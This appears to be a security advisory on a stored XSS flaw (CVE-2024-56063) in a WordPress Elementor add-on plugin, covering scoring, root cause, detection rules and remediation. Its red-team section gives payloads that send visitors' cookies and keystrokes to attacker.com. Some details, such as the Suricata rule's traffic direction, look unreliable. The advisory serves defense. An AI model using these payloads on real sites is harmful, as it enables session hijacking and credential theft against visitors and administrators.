CVE-2024-56063

Executive Summary

CVE-2024-56063 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the WordPress plugin Essential Addons for Elementor by WPDeveloper. This flaw affects all versions up to and including 6.0.7. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts. When the crafted page or post is viewed by another user (including administrators), the injected script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a confirmed patch makes this a persistent risk for unpatched WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is a commercial product with a free tier (Essential Addons for Elementor Lite). The supply chain risk is moderate: if the vendor does not release a patch, site administrators must manually disable or remove the plugin. No known malicious packages or backdoors have been associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access or higher
• User Interaction: Required (UI:R) – victim must view the malicious page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate risk. However, stored XSS in a widely-used plugin (over 1 million active installations) can lead to widespread compromise if exploited in a targeted campaign.

Deep Dive & Mechanics

The vulnerability exists in the Essential Addons for Elementor plugin, which extends the Elementor page builder with additional widgets and dynamic content features. The plugin fails to properly sanitize and escape user input when rendering certain dynamic elements (e.g., custom HTML, template shortcodes, or widget attributes). An attacker with contributor-level access can inject malicious JavaScript into a page or post via the plugin's input fields. When the page is saved and later viewed by another user (including administrators), the injected script executes in the victim's browser.

Root Cause: The plugin uses echo or the_content filter without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post() on user-supplied data. This allows arbitrary HTML and JavaScript to be stored and rendered.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates a new page/post or edits an existing one.
3. Inserts an Essential Addons widget (e.g., "Advanced Tabs", "Content Ticker", or "Dynamic Gallery").
4. Injects a payload like <script>alert('XSS')</script> into a widget field (e.g., title, description, or custom CSS).
5. Saves/publishes the page.
6. Victim (admin, editor, or visitor) views the page.
7. Payload executes in victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (example from a widget):

// vulnerable-widget.php
echo '<div class="eael-advance-tabs-title">' . $settings['tab_title'] . '</div>';

Patched Code (recommended fix):

// patched-widget.php
echo '<div class="eael-advance-tabs-title">' . esc_html( $settings['tab_title'] ) . '</div>';

The patched version uses esc_html() to neutralize any HTML/JavaScript before output. Alternatively, wp_kses_post() can be used if limited HTML is allowed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Essential Addons for Elementor <= 6.0.7
• Contributor-level account or higher
• Elementor page builder active

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Pages > Add New.
3. Edit with Elementor.
4. Search for "Essential Addons" widgets (e.g., "Advanced Tabs").
5. In the widget's title field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Save and publish the page.
7. Send the page link to a target (e.g., admin) via email or social engineering.
8. When the target views the page, the script executes and exfiltrates their session cookie.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual widget content containing <script> tags.
• Review WordPress user activity logs for contributors creating pages with Elementor.
• Use WAF rules to block common XSS payloads in POST requests to wp-admin/admin-ajax.php or wp-admin/post.php.

Hardening:

• Disable the plugin until a patch is released.
• Restrict contributor roles from using Elementor (use a capability manager like User Role Editor).
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin (e.g., Wordfence) with XSS filtering enabled.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but monitor for modified plugin files)
• Suspicious POST Requests: POST /wp-admin/admin-ajax.php with action=elementor_ajax and payload containing <script> tags.
• Log Entries: WordPress debug log entries showing wp_kses failures or unescaped output.
• Network Traffic: Outbound connections to attacker-controlled domains from the WordPress server.
• Database Entries: wp_posts.post_content containing <script> tags in Elementor widget data.

Detection Engineering

YARA Rule

rule CVE_2024_56063_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Essential Addons for Elementor plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56063"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/s
        $vulnerable_function = /echo\s*['\"].*?\$settings\[/
    condition:
        $xss_payload and $vulnerable_function
}

Sigma Rule

title: CVE-2024-56063 Stored XSS in Essential Addons for Elementor
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Elementor widget fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=elementor_ajax'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom HTML widgets (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56063 Stored XSS Payload in Elementor Widget"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by WPDeveloper.
2. Audit all pages/posts created by contributors for malicious scripts (use a database search for <script in wp_posts.post_content).
3. Change all user passwords if any admin session was compromised.

Long-term Mitigation:

• Apply the principle of least privilege: restrict Elementor usage to trusted roles only.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Regularly update all WordPress plugins and themes.
• Monitor the WPDeveloper changelog for a patched version (expected > 6.0.7).

Patch Status: UNKNOWN. No official patch has been released as of this report. Users should consider switching to an alternative Elementor addon plugin if the vendor does not respond.

Valters IT